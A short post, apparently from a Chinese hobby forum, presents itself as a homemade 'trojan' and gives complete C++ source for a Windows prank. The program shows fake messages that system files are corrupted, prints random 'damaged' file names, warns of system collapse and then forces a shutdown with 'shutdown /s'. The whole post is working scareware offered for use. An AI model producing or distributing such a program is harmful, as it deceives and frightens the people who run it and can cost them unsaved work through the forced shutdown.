我做出木马了!!!!
#include<bits/stdc++.h>
#include<windows.h>
#include<conio.h>
#include<time.h>
using namespace std;
float BBlood,BBloodb,Blood,Round;
int attack,Blod,BBlod,I,k,X,W;
void SlowDisplay(int x,char *p);
bool Er(int a);
void Die() {
system("cls");
SlowDisplay(50,"\nWarning!\nSYSTEM ERROR!!\nThe system is about to collapse!!!");
Sleep(1000);
X = 1;
system("shutdown /s");
}
bool KO() {
system("cls");
SlowDisplay(50,"C:/Users/test>系统文件windows.h已损坏.\n");
SlowDisplay(30,"C:/Users/test>系统文件locale.ct已损坏,正在联机检查结果.\n");
SlowDisplay(10,"C:/Users/test>系统文件Google Chrome已损坏,正在尝试修复.\n");
SlowDisplay(5,"C:/Users/test>系统文件htmlview.tcl已损坏,预计还要等待51400秒.\n");
SlowDisplay(2,"C:/Users/test>系统文件mfile.xbm已损坏,正在尝试修复.\n");
SlowDisplay(1,"C:/Users/test>系统文件pt_BR.po已损坏,即将失效.\n");
Er(1);
if(X==1) return 0;
Er(2);
if(X==1) return 0;
Er(3);
if(X==1) return 0;
W=1;
return 0;
}
bool Er(int a) {
k=0;
for(int i=1; i<=1000; i++) {
I++;
if(k==1||X==1) break;
cout<<"C:/Users/test>系统文件";
int R=rand()%5+5;
int p;
for(int j=1; j<=R; j++) p=rand()%26+'a',printf("%c",p);
cout<<'.';
for(int j=1; j<=3; j++) p=rand()%26+'a',printf("%c",p);
int RR=rand()%5,E=rand()%200+300;
if(RR==0) cout<<"已损坏."<<endl;
if(RR==1) cout<<"已损坏,正在联机检查结果."<<endl;
if(RR==2) cout<<"已损坏,正在尝试修复."<<endl;
if(RR==3) cout<<"已损坏,即将停用."<<endl;
if(RR==4) cout<<"已损坏,预计还要等待"<<E<<"00秒."<<endl;
if(I<20) Sleep(100);
}
if(k==0) Die();
return 0;
}
void SlowDisplay(int x,char *p) {
while(1) {
if(*p!=0) printf("%c",*p++);
else break;
Sleep(x);
}
}
int main(){
cout << "嘿嘿嘿……^_^";
Sleep(2000);
KO();
}